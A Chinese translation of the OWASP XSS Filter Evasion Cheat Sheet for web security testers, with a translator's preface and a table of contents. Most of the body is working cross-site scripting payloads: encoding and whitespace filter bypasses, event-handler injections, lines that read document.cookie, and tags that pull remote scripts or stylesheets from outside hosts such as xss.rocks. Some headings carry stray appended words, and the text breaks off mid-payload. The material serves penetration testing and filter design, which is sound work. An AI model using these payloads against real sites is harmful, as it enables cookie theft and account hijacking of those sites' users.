Xss Bypass備忘錄

Xss Bypass備忘錄javascript

技術要發展,免不了風波.php

也許這些攻攻防防會更好的促進技術的發展也說不定css

就讓這一次次的爆破換來未來更精練的技術的無比的寧靜吧html

咱們靜觀其變吧!java

緬懷當初那份最純真Hacker精神!!正則表達式

2017.深圳chrome

By:Legendshell

譯文源起

翻譯本文最初源自國內在對2014年老道翻譯的一個版本,發現此版本有些翻譯我的認爲不太滿意,在加上2017年國慶長假漫漫,無人陪伴(主要仍是約妹子沒約出來!)。因此纔對此進行翻譯工做,但願對國內各位安全愛好者們有必定幫助吧。請容許譯者用本身對此文檔看法取一箇中文名字—XSS BYPASS備忘錄。文中全部代碼參考OWASP官方複製,同時對於官方文檔裏面有些描述不太清楚地方譯者經過本身對XSS理解加入一些本身看法,來幫助各位對XSS理解更上一個臺階。,而後如文檔以前說帶上一個妹子名字。她說名字不讓說,那麼我們姑且叫她小星星吧,翻譯版權歸她全部。對於翻譯不免存在錯誤。請各位看官見諒!數據庫

翻譯官方修訂的版本:10/2/2017express

關於譯者:ID太多本身都忘記叫那個比較合適,就叫笑摸二樓狗頭吧!

譯者說明

譯者爲legend,固然也有人叫我小黑.或者…名字這些都不重要.本文部分章節採用了, OWASP Cheat Sheet Series翻譯項目, XSS過濾繞過備忘單[1]部分小段,大概位於」URL字符串繞過」章節特此說明.由於譯者認爲他們翻譯比我更爲通順.其餘部分皆爲譯者結合全文與相關資料而編寫,鄙人不認爲說比老道版本好多少或者差多少.每一個讀者感覺不同,我只能說對本身說:我已經盡力了.

若是有興趣一塊兒交流技術也歡迎聯繫我.做爲一位安全圈萌新,還須要各位大佬帶帶,最後感謝本身的團隊還有各位老鐵們支持,若是沒有大家意見或許就沒有這份文檔出現.關於如何聯繫我?

因上努力,果上隨緣

特此說明:備忘錄中譯者標註和添加解釋部分均用插入腳註方式或者如(譯者注:)顏色標明,望知曉.

目錄

XSS Filter Evasion Cheat Sheet(Chinese) 1

譯文源起: 2

譯者說明: 2

介紹 6

測試說明 6

XSS漏洞挖掘 6

XSS漏洞挖掘2 6

沒有任何過濾的利用 6

常見通用XSS繞過利用代碼 7

利用image標籤執行Java Script命令 7

對屏蔽引號和分號的繞過 7

敏感字符檢測的繞過 7

HTML實體轉義 7

利用重音符混淆繞過 7

<a>標籤的畸形用法 8

<IMG>標籤的畸形用法 8

利用fromCharCoded方法繞過引號限制 8

利用SRC默認屬性繞過,SRC域檢測限制 8

將SRC默認值爲空. 8

徹底不設置SRC屬性 8

基於erro事件觸發 9

IMG onerror和Java script編碼繞過 9

十進制在html代碼中運用 9

十進制且不帶分號在html代碼中運用 9

十六進制且不帶分號在html代碼中運用 9

使用TAB繞過 10

對編碼的TAB進行繞過 10

利用換行符來拆解XSS 10

利用回車編碼去拆解XSS 10

Null空字符分割javascript指令 10

利用圖像元素中Javascript的空格來繞過 10

非字母非數字型XSS 11

多重尖括號 11

沒有</script>標籤繞過 11

Script標籤中協議解析繞過 11

利用括號半開在HTML/JavaScript 進行XSS 11

雙半開括號」<<」繞過 12

利用Javascript轉義被轉義繞過 12

利用</title>標籤進行XSS 12

利用<input>標籤進行XSS 12

利用<BODY >標籤進行XSS 13

利用<img>標籤的Dynsrc屬性進行XSS 13

利用<img>標籤的Lowsrc屬性進行XSS 13

利用<img>標籤中的VBscript命令進行XSS 13

利用Livescript命令進行XSS(只適用老版本Netscape) 13

利用SVG的<object>標籤進行XSS 13

基於ECMAScript 6的XSS 13

利用<BODY>標籤ONLOAD屬性進行XSS 14

基於事件句柄(或稱爲:事件處理器) 14

利用< BGSOUND >標籤進行XSS 20

利用& JavaScript includes方法進行XSS 20

利用樣式表<ink>標籤進行XSS 20

利用遠程樣式表進行XSS 20

利用遠程樣式表進行XSS part 2 20

利用遠程樣式表進行XSS part 3 21

利用遠程樣式表進行XSS part 4 21

利用<style>標籤來分解XSS payload 21

利用<img>style屬性配合註釋符來分解XSS payload 21

利用<style>標籤進行分解XSS payload 加強版 21

利用<STYLE>標籤(僅限於老版本Netscape) 21

利用<style>標籤的background-image屬性進行XSS 21

利用<style>標籤的background屬性進行XSS 22

利用具備style屬性的匿名的HTML標籤進行XSS 22

利用本地HTC文件進行XSS 22

US-ASCII編碼 22

利用< META >標籤進行XSS 22

利用<META>標籤的content屬性進行XSS 22

利用<META>標籤的帶URL參數進行XSS繞過 23

利用<IFRAME>標籤進行XSS 23

利用事件觸發<IFRAME>標籤的XSS 23

利用<FRAME>進行XSS 23

利用<TABLE>標籤進行XSS 23

利用<TD>標籤進行XSS 23

利用<DIV>標籤 23

在DIV中使用background-image屬性完成XSS 23

使用background-image屬性配合unicoded編碼完成XSS 24

使用background-image屬性加上額外字符完成XSS 24

利用DIV表達式完成XSS 24

利用IE註釋塊進行XSS繞過 24

利用<BASE>標籤進行XSS 24

利用<OBJECT>標籤進行XSS 24

使用<EMBED>標籤嵌入一個包含XSS的Flash動畫 25

你能夠嵌入包含XSS payload的SVG 25

使用ActionScript來混淆你的XSS payload 25

利用XML數據與CDATA區段混淆進行XSS 25

利用XML的embedded方法在本地XML中嵌入Javascript 26

利用XML中加入HTML+Time元素完成XSS 26

經過簡單修改字符去繞過過濾器對」.js」的過濾 26

SSI(服務端包含)進行XSS 26

利用PHP完成XSS 26

利用IMG標籤嵌入命令執行XSS 27

利用IMG標籤嵌入命令執行XSS part II 27

Cookie篡改 27

利用UTF-7編碼進行XSS 27

使用HTML引用封裝進行XSS 27

一個使人擔心的XSS payload 28

URL字符串繞過 28

利用IP代替域名 28

利用URL編碼 28

利用雙字節編碼 28

利用十六進制編碼 29

利用八進制編碼 29

利用混合編碼 29

利用協議解析繞過 29

利用Google」手氣不錯」 part 1 29

利用Google」手氣不錯」 part 2 30

利用Google」手氣不錯」 part 3 30

利用刪除cnames 30

利用額外點繞過 30

利用Javascript連接地址 30

利用內容替換的payload 30

字符轉義表 30

針對跨站腳本攻擊-繞過WAF的方法 32

XSS請求重定向 32

針對XSS bypass WAF的字符串 33

利用混淆繞過過濾器 34

做者和主編 34

貢獻者 35

其餘備忘錄 35

介紹

本文重點是爲Web應用安全測試人員提供指導,以協助進行XSS安全測試。本文初始內容因爲RSNake從他的開創性XSS備忘錄捐贈給OWASP,該頁面位於http://ha.ckers.org/xss.html。該網站如今重定向到這裏https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。咱們計劃在這裏對它進行維護和更新。同時XSS (Cross Site Scripting) Prevention Cheat Sheet的第一個版本就是受到RSnake的XSS過濾繞過備忘錄啓發,因此咱們要感謝他的靈感。咱們但願建立簡單,有效指南,開發人員能夠遵循指南防止XSS攻擊,而不是簡單告訴開發人員構造能夠防止在本備忘錄中全部花哨技巧的程序,所以就有XSS (Cross Site Scripting) Prevention Cheat Sheet等安全備忘錄系列誕生。

測試說明

這個Bypass備忘錄適用於已經瞭解XSS攻擊基礎的人羣,同時又但願深刻了解防禦繞過的細微差異。

請注意,大多數這些XSS payload已經在列出瀏覽器中進行了測試。

XSS漏洞挖掘

在大多數狀況下,若是頁面沒有對XSS進行特別過濾狀況下,在存在XSS地方將會彈出」XSS」一詞。能夠經過URL編碼對整個payload進去編碼。小技巧:若是想經過快速方法去判斷一個頁面是否存在XSS,一般只須要在「<PLAINTEXT>」標籤處注入你的payload,看看是否被打亂就能夠判斷是否存在XSS漏洞了。

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";

 

alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--

></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

XSS漏洞挖掘2

若是你沒有足夠的輸入空間,去測試頁面是否能執行javascript,則此payload是一個很不錯的緊湊型的XSS檢測代碼。輸入代碼後,經過此查詢頁面源代碼搜索XSS看他是否存在問題。

'';!--"<XSS>=&{()}

沒有任何過濾的利用

這是一個常規的XSS測試代碼,也是最容易被攔截的,可是我建議先嚐試(關於引號在任何瀏覽器中都不須要,因此這裏省略);

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

常見通用XSS繞過利用代碼

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>

 

<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>

<script>alert(document.cookie)</script>">

<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">

<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg">

利用image標籤執行Java Script命令

利用image標籤配合Javascript命令來實現XSS。(IE7.0瀏覽器不支持Java Script命令在image標籤中觸發XSS,可是在能夠在其餘標籤中出發。下面例子僅展現一種,其餘標籤依舊一樣能夠。)

<IMG SRC="javascript:alert('XSS');">

譯者注:如文中所說,還有其餘方法.此文檔未列出了而已.這裏譯者簡單羅列一下.

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

 

<img src="URL" style='Xss:expression(alert(/xss/));'>

對屏蔽引號和分號的繞過

<IMG SRC=javascript:alert('XSS')>

敏感字符檢測的繞過

<IMG SRC=JaVaScRiPt:alert('XSS')>

HTML實體轉義

此樣例中分號是必需要的。

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

利用重音符混淆繞過

若是你須要使用單雙引號,可是又被過濾掉,可使用重音符()[2]來封裝你的JavaScript字符串,這個也是不少XSS防禦以及過濾器沒有考慮到這個字符.

<IMG SRC=javascript:alert("RSnake says, 'XSS'")>

<a>標籤的畸形用法

利用Href規定連接目標的特性,從而發起XSS攻擊,此想法由David Corss 提出,而且在Chrome瀏覽器上獲得驗證.

<a onmouseover="alert(document.cookie)">xss link</a>

此外Chrome喜歡替你作引號補全,若是你遇到不能被執行的話.那麼就直接跳過忽略他們便可.由於Chrome會修復你URL或者腳本中丟失的引號,而且將它們補全.

<a onmouseover=alert(document.cookie)>xss link</a>

<IMG>標籤的畸形用法

最先被Begeek發現(可謂短小而精悍的運行在任何瀏覽器上),這個XSS paylod依靠瀏覽器的渲染引擎解析IMG標籤中的XSS payload,該標籤必須在引號內運行.我認爲這個最初爲了糾正錯誤編碼而出現的.這將意味着可使用難以理解HTML標籤去解析.

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

利用fromCharCoded方法繞過引號限制

若是任何形式引號都被攔截的狀況下,你可使用fromCharCode()方法來創造你須要的XSS Payload.

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

利用SRC默認屬性繞過,SRC域檢測限制

此方法將繞過大多SRC域過濾器,能夠利用事件方法插入任意Java script腳本.此方法也一樣適用於From,iframe,input,Embed等任何HTML標記類型元素,同時它還容許標記類型相關事件做爲備選進行替換,例如onblur,onclick,在後面爲你附近一份可用事件表.因爲Abdullah Hussam提供. Abdulahhusam編輯.

<IMG SRC=# onmouseover="alert('xxs')">

將SRC默認值爲空.

<IMG SRC= onmouseover="alert('xxs')">

徹底不設置SRC屬性

<IMG onmouseover="alert('xxs')">

基於erro事件觸發

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

IMG onerror和Java script編碼繞過

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&

 

#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083

&#0000083&#0000039&#0000041">

十進制在html代碼中運用

此示例所使用的XSS payload沒法有些瀏覽器下使用.<在Gecko引擎下IMG標籤在firefox和Netscape 8.1+不起做用>

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;

 

&#39;&#88;&#83;&#83;&#39;&#41;>

十進制且不帶分號在html代碼中運用

編碼繞過xss過濾器常常會用到"&#XX;",可是大多數人不太知道編碼限制最多容許7位字符.致使錯誤認爲一個html編碼須要用;去結束,那些對字符串解碼也是一樣,如$tmp_string =~ s/.*\&#(\d+);.*/$1/.(做者注:無心中發現)

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&

 

#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

十六進制且不帶分號在html代碼中運用

這也是針對上述字符串$tmp_string =~ s/.*\&#(\d+);.*/$1/進行XSS攻擊.

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

使用TAB繞過

用於繞過某些XSS防禦.

<IMG SRC="jav ascript:alert('XSS');">

對編碼的TAB進行繞過

使用TAB編碼[3]這個來分解XSS.

<IMG SRC="jav&#x09;ascript:alert('XSS');">

利用換行符來拆解XSS

一些人認爲09-13(十進制)均可進行此類型攻擊,其實非也.其實只有09(tab),10(換行)和13(回車)可使用.查看ascii表,下面四個示例將展示此payload.

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

利用回車編碼去拆解XSS

注意:上面用這些字符串比規定的要長,由於0是能夠被省略的.一般咱們看到的過濾器繞過十六進制和十進制編碼是兩到三個字符.正確的應該是一到七個字符.

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

Null空字符分割javascript指令

Null空字符也能夠做爲XSS payload.可是不能像上邊那樣.你須要直接寫入到他們利用工具中例如burp,或者使用%00字在你的url字符串裏.在opera的老闆(大概7.11 on windows)對於173個char會受到影響.可是null char %00更有用,並幫助咱們繞過某些真實的防禦,相似示例中:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

利用圖像元素中Javascript的空格來繞過

XSS過濾匹配模式不少狀況都沒有考慮」Javascript:」中可能有存在空格的狀況,所以不然沒法渲染.可是這也是致使錯誤的假設,認爲你不能夠有引號和」Javascript:」關鍵字.實際上,你能夠從十進制的%01~%32中獲得任何字符;

<IMG SRC=" &#14; javascript:alert('XSS');">

非字母非數字型XSS

Firefox HTML解析器設定一個在html關鍵字中非字母非數字都不是有效的.由於這些字符會被視爲空格或非有效的HTM標籤.問題是一些XSS過濾器假設他們正在匹配關鍵字而後被空格拆解了.例如"<SCRIPT\s" != "<SCRIPT/XSS\s":

<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

而後,基於上述相同想法,使用Ranke fuzzer進行拓展.Gecko渲染引擎容許字母,數字或者HTML封裝字符(如引號,尖括號)以外字符位於事件處理和等號之間.從而繞過XSS過濾器.注意這也只是適用於重音符以下所示:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^=alert("XSS")>

根據Yair Amit提醒,IE和Gecko渲染引擎之間略有不一樣,只容許標籤和參數之間沒有空格和斜槓.若是系統不容許空格,這示例可能頗有用.

<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>

多重尖括號

由Franz Sedlmaier提交,這個XSS paylod能夠經過首先使用匹配」<>」的檢測引擎,而後經過比較內部標籤,而沒有使用更加有效的方式(例如匹配整個字符串尖括號和相關標籤).」//」註釋在結尾的用於防止Javascrip錯誤.

<<SCRIPT>alert("XSS");//<</SCRIPT>

沒有</script>標籤繞過

在Gecko渲染引擎模式下firefox和netscape8.1中,實際上並不須要常規XSSpayload中的」></script>」部分.firefox會爲你很是體貼的安全閉合HTML標籤,而且加入閉合標籤!這不須要任何額外的HTML.你能夠添加引號,若是須要的話.但一般並非必須的,注意:我不清楚這個代碼寫入到html代碼會閉合成什麼樣子.

<SCRIPT SRC=http://xss.rocks/xss.js?< B >

Script標籤中協議解析繞過

這個玩法由Łukasz Pilorz提出來的,而且Ozh's基於上下文提出協議解析繞過方法.這個XSS payload運行在IE.Netscape在IE和opera渲染模式中,不須要考慮編碼問題,由於瀏覽器在」.j」寫法中,會自動識別<script>標籤.這種方法很是有效在輸入長度受到限制,時候來進行繞過.固然域名越短越好.

<SCRIPT SRC=//ha.ckers.org/.j>

利用括號半開在HTML/JavaScript 進行XSS

跟firefox不一樣,IE渲染引擎不會加入額外的數據在你頁面上.可是它容許Javascript利用在<img>標籤從而產生XSS payload.由於它不須要一個結束」>」尖括號.你能夠插入這個XSS向量在任何HTML標籤後面.甚至能夠不用」>」來閉合標籤.注意:這樣確實會搞亂HTML,這取決於他下面的HTML.同時對於這種入侵檢測系統(NIDS)正則匹配能夠直接繞過,表達式爲: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ 由於它不須要」>」結束閉合標籤.它也是能夠有效對抗真實XSS過濾器,我曾經用這種半開的<iframe>標籤代替<img>標籤去繞過過濾器.

<IMG SRC="javascript:alert('XSS')"

雙半開括號」<<」繞過

使用一個半開的」<」尖括號在payload結尾處代替」>」進行閉合,會在Netscape和Gecko兩個渲染下產生不一樣效果.firefox正常使用,Netscape就不行;

<iframe src=http://xss.rocks/scriptlet.html <

利用Javascript轉義被轉義繞過

當用戶在一個應用程序編輯自定義信息的時候,在常規Javascript代碼中是這樣,例如: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>.若是你想插入你本身的Javascript代碼時候,會被服務轉義掉其中某些引號,這時你須要經過轉義被轉義字符來繞過它.從而使最終輸入代碼相似於<SCRIPT>var a="\\";alert('XSS');//";</SCRIPT>.最終雙引號被服務器轉義,而且觸發了XSS payload.示例以下:

\";alert('XSS');//

另一種方法就是,若是json或者Javascript轉義被應用嵌入數據,而不是HTML編碼,則Payload以下示例:

</script><script>alert('XSS');</script>

利用</title>標籤進行XSS

這是一個很是easy的XSS payload,能夠利用閉合<title>標籤,能夠封裝惡意的XSS攻擊.

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

利用<input>標籤進行XSS

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

譯者注:其實還能夠利用<input>標籤中的hideeen屬性來觸發,網上已經有詳細描述,這裏就不敘述了,示例以下:

<input type="hidden" name="returnurl" value="[USER INJECT]" />

利用<BODY >標籤進行XSS

<BODY BACKGROUND="javascript:alert('XSS')">

利用<img>標籤的Dynsrc屬性進行XSS

<IMG DYNSRC="javascript:alert('XSS')">

譯者注:不過只在IE和Netscape中支持,Firefox會提示proprietary attribute或者拒絕訪問.同時譯者在這裏說明下,只針對IE6之前,到之後版本就不支持了.望注意(*^__^*).

利用<img>標籤的Lowsrc屬性進行XSS

<IMG LOWSRC="javascript:alert('XSS')">

基於CSS的List-style-image屬性進行XSS

使用圖像來替換列表項的標記,此Javascript指令只能在IE下使用,是一個不是特別有用的XSS paylod.

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

譯者注:因爲翻譯工做佔用大量時間,沒有在具體環境下測試此paylod,可是理論上」 list-style-image」, 全部瀏覽器都支持 list-style-image 屬性。

利用<img>標籤中的VBscript命令進行XSS

<IMG SRC='vbscript:msgbox("XSS")'>

利用Livescript命令進行XSS(只適用老版本Netscape)

<IMG SRC="livescript:[code]">

利用SVG的<object>標籤進行XSS

<svg/onload=alert('XSS')>

基於ECMAScript 6的XSS

Set.constructoralert\x28document.domain\x29

利用<BODY>標籤ONLOAD屬性進行XSS

此方法不須要」javascript:」或」<script …」任何編碼方式來進行XSS攻擊. Dan Crowley另外指出,你能夠在等號以前放一個空格("onload=" != "onload ="):

<BODY ONLOAD=alert('XSS')>

基於事件句柄(或稱爲:事件處理器)

它能夠用於上述相似XSS攻擊(這是在撰寫本文時在網絡上最全面的列表了).感謝Rene Ledosquet在HTML+TIME上更新,此外你能夠參考Dottoro Web Reference固然還有一份很好的Javascript事件列表.

  1. FSCommand() (攻擊者可使用它當執行一個嵌入的flash對象時)
  2. onAbort() (當用戶停止加載圖像時)
  3. onActivate() (當對象設置爲活動元素時)
  4. onAfterPrint() (在用戶打印或預覽打印做業後激活)
  5. onAfterUpdate() (在更新源對象中的數據後激活數據對象)
  6. onBeforeActivate() (在將對象設置爲活動元素以前觸發)
  7. onBeforeCopy() (攻擊者在將選擇複製到剪貼板以前執行攻擊字符串 - 攻擊者可使用 execCommand("Copy") 功能執行此操做)
  8. onBeforeCut() (攻擊者在選擇被切斷以前執行攻擊字符串)
  9. onBeforeDeactivate() (在從當前對象更改activeElement以後觸發)
  10. onBeforeEditFocus() (在可編輯元素中包含的對象進入UI激活狀態以前觸發,或者當可控制可選容器對象被選擇時觸發)
  11. onBeforePaste() (用戶須要被欺騙粘貼或被強制使用 execCommand("Paste") 功能)
  12. onBeforePrint() (用戶須要被騙到打印或攻擊者可使用 print() or execCommand("Print") 功能).
  13. onBeforeUnload() (用戶須要被誘騙關閉瀏覽器 - 攻擊者沒法卸載窗口,除非從父級生成.)
  14. onBeforeUpdate() (在更新源對象中的數據以前激活數據對象)
  15. onBegin() (當元素的時間軸開始時,onbegin事件會當即觸發)
  16. onBlur() (在另外一個彈出窗口加載窗口失去焦點的狀況下)
  17. onBounce() (當選框對象的行爲屬性設置爲 "alternate"而且選框的內容到達窗口的一邊時觸發.)
  18. onCellChange() (數據提供者中數據更改時觸發)
  19. onChange() 選擇, text,或TEXTAREA字段失去焦點,或其值已被修改)
  20. onClick() (須要人點擊表單)
  21. onContextMenu() (用戶須要右擊攻擊區域)
  22. onControlSelect() (當用戶即將對對象進行控件選擇時觸發)
  23. onCopy() (用戶須要複製某些東西,或者可使用 execCommand("Copy") 命令利用它)
  24. onCut() (用戶須要複製某些東西,或者使用execCommand("Cut") 命令能夠利用它.)
  25. onDataAvailable() (用戶須要更改元素中的數據,或者攻擊者能夠執行相同的功能)
  26. onDataSetChanged() (由數據源對象公開的數據集更改時觸發)
  27. onDataSetComplete() (觸發以指示全部數據可從數據源對象得到)
  28. onDblClick() (用戶雙擊表單元素或連接)
  29. onDeactivate() (當activeElement從當前對象更改成父文檔中的另外一個對象時觸發)
  30. onDrag() (要求用戶拖動對象)
  31. onDragEnd() (要求用戶拖動對象)
  32. onDragLeave() (要求用戶將對象拖放到有效的位置)
  33. onDragEnter() (要求用戶將對象拖放到有效位置)
  34. onDragOver() (要求用戶將對象拖放到有效位置)
  35. onDragDrop() (用戶將一個對象(例如文件)放到瀏覽器窗口上)
  36. onDragStart() (當用戶開始拖動操做時發生)
  37. onDrop() (用戶將一個對象(例如文件)放到瀏覽器窗口上)
  38. onEnd() (當時間軸結束時,onEnd事件觸發.)
  39. onError() (加載文檔或圖像會致使錯誤)
  40. onErrorUpdate() (當更新數據源對象中的關聯數據時發生錯誤時,在數據綁定對象上觸發)
  41. onFilterChange() (視覺過濾器完成狀態更改時觸發)
  42. onFinish() (當選框完成循環時,攻擊者能夠建立漏洞)
  43. onFocus() (攻擊者在窗口得到焦點時執行攻擊字符串)
  44. onFocusIn() (當窗口得到焦點時攻擊者執行攻擊字符串)
  45. onFocusOut() (當窗口失去焦點時攻擊者執行攻擊字符串)
  46. onHashChange() (當文檔的當前地址的片斷標識符部分更改時觸發)
  47. onHelp() (攻擊者在窗口對焦時用戶點擊F1時執行攻擊字符串)
  48. onInput() (元素的文本內容經過用戶界面進行更改)
  49. onKeyDown() (用戶按下一個鍵)
  50. onKeyPress() (用戶按下或按住一個鍵)
  51. onKeyUp() (用戶釋放一個鍵)
  52. onLayoutComplete() (用戶必須打印或打印預覽)
  53. onLoad() (攻擊者在窗口加載後執行攻擊字符串)
  54. onLoseCapture() (能夠經過 releaseCapture() 方法利用)
  55. onMediaComplete() (當使用流媒體文件時,該事件可能在文件開始播放以前觸發)
  56. onMediaError() (用戶在瀏覽器中打開包含媒體文件的頁面,當有問題時觸發事件)
  57. onMessage() (當文檔收到消息時觸發)
  58. onMouseDown() (攻擊者須要讓用戶點擊圖像)
  59. onMouseEnter() (光標移動一個對象或區域)
  60. onMouseLeave() (攻擊者須要讓用戶將鼠標懸停在圖像或表上,而後再次關閉)
  61. onMouseMove() (攻擊者須要讓用戶將鼠標放在圖像或表格上)
  62. onMouseOut() (攻擊者須要讓用戶將鼠標移到圖像或表上,而後再次關閉)
  63. onMouseOver() (光標移動一個對象或區域)
  64. onMouseUp() (攻擊者須要讓用戶點擊圖像)
  65. onMouseWheel() (攻擊者須要讓用戶使用他們的鼠標滾輪)
  66. onMove() (用戶或攻擊者會移動頁面)
  67. onMoveEnd() (用戶或攻擊者會移動頁面)
  68. onMoveStart() (用戶或攻擊者會移動頁面)
  69. onOffline() (若是瀏覽器工做在在線模式而且它開始脫機工做,則會發生)
  70. onOnline() (若是瀏覽器處於離線模式而且開始在線工做,則會發生)
  71. onOutOfSync() (中斷元素根據時間軸定義的播放媒體的能力)
  72. onPaste() (用戶須要粘貼或者攻擊者可使用 execCommand("Paste") 功能)
  73. onPause() (當時間線暫停時,包括body元素在內的每一個元素處於活動狀態時,onpause事件觸發)
  74. onPopState() (用戶導航會話歷史時觸發)
  75. onProgress() (攻擊者會將此做爲Flash影片加載)
  76. onPropertyChange() (用戶或攻擊者須要更改元素屬性)
  77. onReadyStateChange() (用戶或攻擊者須要更改元素屬性)
  78. onRedo() (用戶在撤銷交易歷史中前進)
  79. onRepeat() (事件每次重複一次時間軸,不包括第一個完整週期)
  80. onReset() (用戶或攻擊者重置表單)
  81. onResize() (用戶將調整窗口大小;攻擊者能夠自動初始化,例如: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
  82. onResizeEnd() (用戶將調整窗口大小;攻擊者能夠自動初始化,例如: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
  83. onResizeStart() (用戶能夠調整窗口大小;攻擊者能夠自動初始化,例如: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
  84. onResume() (時間軸恢復時,每一個元素上的onresume事件都會觸發,包括body元素)
  85. onReverse() (若是元素的repeatCount大於1,則此事件會在時間線開始向後播放時觸發)
  86. onRowsEnter() (用戶或攻擊者須要更改數據源中的一行)
  87. onRowExit() (用戶或攻擊者須要更改數據源中的一行)
  88. onRowDelete() (用戶或攻擊者須要刪除數據源中的一行)
  89. onRowInserted() (用戶或攻擊者須要在數據源中插入一行)
  90. onScroll() (用戶須要滾動,或者攻擊者可使用scrollBy() 函數)
  91. onSeek() (當時間線設置爲在向前方向之外的任何方向播放時,onreverse事件觸發)
  92. onSelect() (用戶須要選擇一些文本 - 攻擊者能夠自動初始化,如: window.document.execCommand("SelectAll");)
  93. onSelectionChange() (用戶須要選擇一些文本 - 攻擊者能夠自動初始化,如: window.document.execCommand("SelectAll");)
  94. onSelectStart() (用戶須要選擇一些文本 - 攻擊者能夠自動初始化,如: window.document.execCommand("SelectAll");)
  95. onStart() (在每一個選框循環的開始處觸發)
  96. onStop() (用戶須要按中止按鈕或離開網頁)
  97. onStorage() (存儲區域更改)
  98. onSyncRestored() (用戶中斷元素根據時間軸定義的播放媒體的能力)
  99. onSubmit() (要求攻擊者或用戶提交表單)
  100. onTimeError() (用戶或攻擊者將dur屬性設置爲無效值)
  101. onTrackChange() (用戶或攻擊者在播放列表中更改軌道)
  102. onUndo() (用戶在撤消事務歷史記錄中向後退)
  103. onUnload() (當用戶點擊任何連接或按下後退按鈕或攻擊者強制點擊)
  104. onURLFlip() (當由HTML + TIME(定時互動多媒體擴展)媒體標籤播放的高級流格式(ASF)文件處理嵌入在ASF文件中的腳本命令時,該事件觸發)
  105. seekSegmentTime() (這是一種在元素段時間線上定位指定點並從該點開始播放的方法,該段由包括使用AUTOREVERSE屬性的反向播放的時間線的一個重複組成.)

利用< BGSOUND >標籤進行XSS

<BGSOUND SRC="javascript:alert('XSS');">

利用& JavaScript includes方法進行XSS

<BR SIZE="&{alert('XSS')}">

利用樣式表<ink>標籤進行XSS

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

利用遠程樣式表進行XSS

(使用像遠程樣式表這樣的東西,你能夠利用樣式參數做爲XSS,能夠用嵌入表達式方式來完成XSS攻擊).可是它僅僅適用在IE瀏覽器或者Netscape 8.1+下運行.須要注意頁面上沒有顯示包含Javascript代碼.使用這樣的遠程樣式表,至少須要使用body標籤,所以除非顯示paylod自己的其餘內容.若是他是一個空白頁面,你須要添加至少一個字母到頁面顯示,確保payload能夠正常工做..

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

利用遠程樣式表進行XSS part 2

這跟上述原理相同,只不過這裏使用的<STYLE>標籤來代替<LINK>,稍微變更下被用來攻擊GOOGLE Desktop.注意:若是此payload遇到閉合後會出如今htrml上,則能夠考慮刪除</style>.若是你在XSS腳本攻擊中沒法使用等號或斜槓,那麼能夠試試這個:

<STYLE>@import'http://xss.rocks/xss.css';</STYLE>

利用遠程樣式表進行XSS part 3

適用於Opera8.0(不支持9.X),根據RFC2616設置連接頭,.它不符合HTTP1.1的規範,可是有一些瀏覽器仍然容許它(如firefox和Opera).這裏技巧就是,我設置一個http頭(這裏與HTTP頭沒什麼區別,例如: <http://xss.rocks/xss.css>; REL=stylesheet).這樣帶遠程XSS payload將會運行,可是它並不支持FireFox.

<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">

利用遠程樣式表進行XSS part 4

僅適用於Gecko渲染引擎,並將XUL文件綁定到父頁面.我的認爲這裏是諷刺Netscape,Gecko是更安全的,所以絕大多數網站容易受到這種影響:

<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

利用<style>標籤來分解XSS payload

此payload有時會將IE瀏覽器中形成無限循環.

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

利用<img>style屬性配合註釋符來分解XSS payload

由Roman Ivanov建立.

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

利用<style>標籤進行分解XSS payload 加強版

這與上述XSS payload混合,但他確實展示了<style>標籤被分隔解析是多困難.一樣它也會在IE下形成無限彈窗.

exp/*<A STYLE='no\xss:noxss("*//*");

 

